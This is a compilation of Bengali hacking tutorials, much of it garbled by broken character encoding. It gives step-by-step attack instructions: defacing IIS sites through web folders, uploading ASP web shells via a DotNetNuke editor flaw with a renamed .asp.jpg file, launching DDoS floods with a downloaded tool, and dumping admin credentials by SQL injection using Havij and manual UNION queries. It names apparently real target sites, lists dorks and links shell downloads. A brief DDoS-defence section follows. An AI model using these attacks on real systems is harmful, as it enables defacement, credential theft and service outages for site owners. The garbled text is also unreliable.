াআট LFI httppastebinca2385927
কতফধাযজনয াচছথ কতবকতড টিউটিকতযযার কতদরাভ
httpwwwyoutubecomwatchv=FP229bKm5v4
httpwwwyoutubecomwatchv=9W9qWAhwaTo
httpwwwyoutubecomwatchv=hMguilRsteY
কাচছটব কত-কতনফবাকতচত টিউনাযtrade
অারাভ অরাআকভ ফাআচছক অফাযসবাগতভ জাকতনচছয অজচছকয টিউন শর কযকতছ
সকভন অচছছন অনাযা অা ককতয ভান অো তাযারায চছল যভচছত খফআ বার অচছছন অজ অফায অনাচছদয জনয এচছনকতছ চছযফ যাকতকং কতনচছয সতা কথা কভ ফচছর কাচছজয কথায অকত
অজ অকতভ অচছরাচনা কযফ IIS(IIS=The Internet Information Server Attack) কতনচছয
উআচছনডাজ একসকত এয কতনভাফকতরঃ ১Run এ
WINDIREXPLOREREXE 20D04FE0-3AEA-1069-A2D8-08002B30309DBDEADF00-C265-11d0-BCED-
00A0C90AB50F
কতরচছখ Enter চান
২ একটি সপাডায অচছফ মায নাভ ldquoWEB FOLDERrdquo
ছকতফ
৩ এখন Right click কচছয NewgtAdd Web Foldergtvulnerable website address
Google Dork - ldquoPowered by IISrdquo
৪কতিক NextgtNextgtFinish
৫ডাফর কতিক কচছয সতাভায কতডচছপ ককত সে কচছয কতদন
এখন সতাভায কতডচছপ সজ httpwwwtargetcomdefacehtml
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=P4ISzsSBTik
কতফঃদরঃ Microsoft চছনক াআচছটয vulnerability ঠিক কচছযচছছ তাআ vulnerable াআট াযা কিকয
gtgtউআচছনডাজ ৭ এয কতনযভাফকতর gtgt
কতকবাচছফ উআচছনডাজ ৭ এ IIS Exploit যাকতকং কযচছফন াযচছফন অনাচছদয জনয এয অচছগ টিচছজ কতকতনকস কর একটা সাি কচছযকতছর IIS Exploit এয উয তাচছর অয কথা নয এখনআ শর কচছয সদআ টিউচছটাকতযযারটি icon smile IIS Exploit িণব
ফাংরা যাকতকং টিউচছটাকতযযার
পরথচছভ My Computer এয মান এফায খাকতর জাযগায যাআট ফাটন কতিক কচছয Add a network Location এ কতিক করন
ছকতফ
এফায Next ফাটচছন কতিক করন
ছকতফ
অফায Next করন
ছকতফhttpi1085photobucketcomalbumsj431powerin10no3jpg
এফায vuln website টিয কতরংকটি কতদন Next করন াআট কতরংক এভন চছফঃ httpwwwmyxixiacom
ছকতফ
অফায Next ফাটচছন কতিক করন
এফায Finish ফাটচছন কতিক করন
ছকতফ
এফায Network Location Option mdashgt website folder এ কতিক করন
ছকতফ
এফায কতনচছচয কতরংক সথচছক shell ডাউনচছরাড কচছয কতনন
wwwzidducomdownload16498227shellziphtml
এফায ডাউনচছরাড যা পাআরটিয উয যাআট ফাটন কতিক কচছয Extract এ কতিক করন
ছকতফ
এফায Poweraspjpg পাআরটি ককত করন
ছকতফ
এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন
ছকতফ
সি কযা সল
এফায অনাযা বরাউজাযটি চছন করন
তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন
সমভনঃ httpwwwmyxixiacompoweraspjpg
ছকতফ
তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ
ছকতফ
এফায অনাযা deface html পাআরটি চছন করন
এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন
এফায সকাড ফগচছরা ককত করন
ছকতফ
এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন
ছকতফ
সব কযায য অকতন এভন একটি সজ াচছফন
ছকতফ
এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related
`
DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন
inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx
গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না
ছকতফ
২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ
৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা
ছকতফ
৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)
ছকতফ
৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ
৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত
কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয
কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায
সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww
কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক
ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ
কতকবাচছফ DdoS যাটাক কযফ
পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন
DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য
এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ
থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক
এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা
এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন
কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয
১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ
অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয
একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয
কতকনত DoS যাটাক টা চছে কতনচছচয ভত
অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত
D0S DDoS attack এয কাযন কতক
২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ
অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক
১) যাকাযচছদয কভতরফ
খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ
ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন
যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক
থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয
থফা কতনতানতআ পরযাকটি এয উচছেচছ
২) sysadmin এয বার ভতরফ
নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ
াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ
কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন
DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায
DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয
ড যাটাক এয কভন কামবপরণারী গচছরা চছে -
কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা
কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা
াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ
--------------------------------------------------------------------------------------------------------------------------------------
----------------------
অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ
Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত
পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত
এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন
এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন
রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ
Apache 1x Apache 2x
GoAhead WebServer
---------------------------------------------------------------------------------------------------------------------------------------
---------------------
এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ
পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন
এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন
পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন
httpwwwmediafirecomfamiivi799a9459
পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as
administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ
১ URL ফচছকস সম সকান াআচছটয নাভ সরখন
(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)
২ lock on কতচছরকট করন
৩ সদখচছফন অআকত রক চছয কতগচছযচছছ
৪ কতচতর এয ভত কচছয http কতচছরকট করন
৫Threads ফকস এ 1000 টাআ করন
৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন
৭ ফলাকতডং শর চছয মাচছফ
------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক
ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন
১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন
netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n
মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ
তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad
এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip
মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন
apf -d xxxxxxxx
মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন
csf -d xxxxxxxx
অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন
iptables -I INPUT 1 -s -j DROP xxxxxxxx
উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ
তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না
এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয
এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন
াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ
চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ
পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক
এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না
সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না
অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)
অটিব চছকর 150543 চছত সজচছন কতনন
httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech
াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন
উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]
এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক
এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ
কাচছনকটিকতবটি ককতভচছয কতদন
অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায
এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP
এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা
এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile
পাযাযযার ফযফায করন
উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন
এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন
এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন
httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom
এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey
সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ
heartsheartshearts Havij
SQLi টিউমটাসরো heartsheartshearts
Download
Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij
পরথচছভ GoogleCom এ মান
এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন
inurlphpid=
তাচছর চছনকগচছরা পরাপর সদখাচছফ
এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i
সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo
এফায সম সকান একটি াআচছট পরচছফ করন
এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ
httpwwwpaulprescottcomthemephpid=10
অভযা এআ াআটটিচছক টাচছগবট কযরাভ
এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10
এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান
এফায এনটায কতদন
এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ
এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ
এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ
মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ
Current DB XXXX
কতনচছচয ছকতফটি সদখন
এফায ―Tables tab এ মান
এফায ―Get DBlsquos এ কতিক করন
এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema
দটা পাআর
―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক
শধ ভাতর ―paul_third কতচছরকট করন
এফায ―Get Tables এ কতিক করন
তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন
এখন অভযা administration panel টি যাক কযচছত সচিা কযফ
এখন ―admin table টি সচক করন
এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না
এফায ―Get Columns ফাটচছন কতিক করন
তাচছর কতনচছচয ভচছতা অচছফ
এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)
এফায ―Get Data টযাচছফ কতিক করন
তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ
অফায ―Find Admin টযাচছফ কতিক করন
তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ
এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয
তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না
ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন
এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ
তাচছর অভযা Administration Panel সরাভ
এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন
মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
